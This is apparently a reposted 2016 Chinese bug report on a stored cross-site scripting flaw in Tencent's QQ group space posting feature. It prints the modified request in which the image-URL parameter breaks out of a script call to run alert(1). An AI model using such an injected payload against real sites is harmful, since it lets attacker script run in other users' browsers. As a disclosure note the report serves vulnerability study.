鸿 网 互 联 www.68idc.cn

腾讯群空间存储型XSS

来源:互联网 作者:佚名 时间:2016-05-07 10:07
没有二哥的js+swf分析那么牛,我只能来个简单的。 腾讯群空间可以像微博差不多的发表动态功能, 然后很简单,上传张图片,然后改包。。 qzreferrer=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup%23%21%2F249904753%2Fhomeuin=xxxxxgroupid=xxxxtype=2content=hipic
没有二哥的js+swf分析那么牛,我只能来个简单的。
 腾讯群空间可以像微博差不多的发表动态功能,
 
然后很简单,上传张图片,然后改包。。
 
 
 
qzreferrer=http%3A%2F%2Fqun.qzone.qq.com%2Fgroup%23%21%2F249904753%2Fhome&uin=xxxxx&groupid=xxxx&type=2&content=hi&pics=http://www.hao123.com/logo.gif',550,375,{img:this});alert(1);//&url=&videoUrl=
 
 
 
提交,成功!
 



 
 
修复方案:

应该懂 

 

网友评论
<